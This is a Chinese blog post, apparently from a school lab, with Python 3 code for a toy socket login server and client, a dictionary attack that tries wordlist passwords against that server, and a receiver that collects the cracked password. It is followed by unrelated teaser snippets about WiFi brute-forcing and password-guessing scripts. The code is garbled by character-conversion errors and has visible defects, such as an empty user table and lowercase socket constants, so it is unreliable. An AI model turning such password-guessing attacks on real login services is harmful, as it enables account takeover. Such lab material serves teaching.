字典破解密碼實驗(Python3)

2021-08-19 14:55:14 字數 2641 閱讀 9682

必須吐槽一下,校內實習真的服,都不知道這些老師那裡搜的題,這也就算了,不能讀一遍看看能不能讀的通順,看著這種讀不通的題做都不想做

先寫乙個系統,實現客戶端遠端登入服務端:

服務端**:

import socket,os

#建立套接字

s=socket.socket()

#設定關閉套接字時立刻釋放埠

s.setsockopt(socket.sol_socket,socket.so_reuseaddr,1)

#繫結服務端埠

s.bind(('',1234))

#開始監聽

s.listen(1)

#賬號和密碼

user=

#接收連線的客戶端的資訊

sock,addr=s.accept()

print(addr[0]+"已連線")

while 1:

#接收客戶端傳送的資訊

receive=sock.recv(1024).decode()

receive=receive.split()

#判斷賬號密碼是否正確,正確傳送t,錯誤傳送f

if user[receive[0]]==receive[1]:

sock.send("t".encode())

break

else:

sock.send("f".encode())

sock.close()

s.close()

os.system("pause")

客戶端**:

import socket,os

c=socket.socket()

c.connect(('127.0.0.1',1234))

while 1:

uspw=input("輸入賬號和密碼,空格隔開:")

#傳送賬號密碼給服務端

c.send(uspw.encode())

#接收服務端返回資訊

receive=c.recv(1).decode()

if receive=="t":

print("登入成功")

break

c.close()

os.system("pause")

然後是實現在伺服器端所在裝置進行字典破解,併發送到客戶端所在裝置的密碼接收端:

字典破解**:

import socket,os

p=socket.socket()

p.connect(('127.0.0.1',1234))

us=input("輸入要破解的使用者名稱:")

file=input("輸入字典檔名:")

#唯讀方式開啟字典檔案

dic=open(file,'r')

while 1:

#讀取一行

pasd=dic.readline()

#拼接使用者名稱和密碼

sed=us+' '+pasd

#傳送給服務端

p.send(sed.encode())

rec=p.recv(1).decode()

#服務端返回t說明密碼正確

if rec=="t":

print("密碼是:",pasd)

break

p.close()

#傳送給密碼接收器

p=socket.socket()

p.connect(('127.0.0.1',6666))

pasd="密碼是:"+pasd

p.send(pasd.encode())

p.close()

os.system("pause")

密碼接收端**:

import socket,os

p=socket.socket()

p.bind(('',6666))

p.setsockopt(socket.sol_socket,socket.so_reuseaddr,1)

p.listen(1)

pr,ip=p.accept()

print("正在接收密碼...")

passwd=pr.recv(1024).decode()

#接收破解器傳送的資訊

print(passwd)

p.close()

os.system("pause")

在伺服器執行服務端和字典破解程式,客戶端執行密碼接收器,獲取破解的密碼後用客戶端登入

執行結果:

Python3實現WiFi密碼暴力破解

注 可行性不高,和那些暴力破解wifi的軟體差不多,可能等個幾個鐘都沒破解完,純屬娛樂 萬一運氣好呢哈哈 需要安裝的擴充套件包 pywifi,依賴包 comtypes 以下是源 import time import pywifi from pywifi import const from async...

python 暴力破解密碼指令碼

python 暴力破解密碼指令碼 以下,僅為個人測試 環境也是測試環境,暴力破解原理都是一樣的,假設要暴力破解登陸 www.a.com 使用者 testuser的密碼,首先,該 登陸的驗證要支援 無限次的密碼嘗試 假設testuser 的密碼為 6位的純數字 1 先長成 6位純數字密碼字典 impo...

Python3 教程 字典

字典是另一種可變容器模型,且可儲存任意型別物件 字典的每個鍵值 key value 對用冒號 分割,每個鍵值對之間用逗號 分割,整個字典包括在花括號 中 格式如下所示 d dict print dict name dict name print dict age dict age dict name...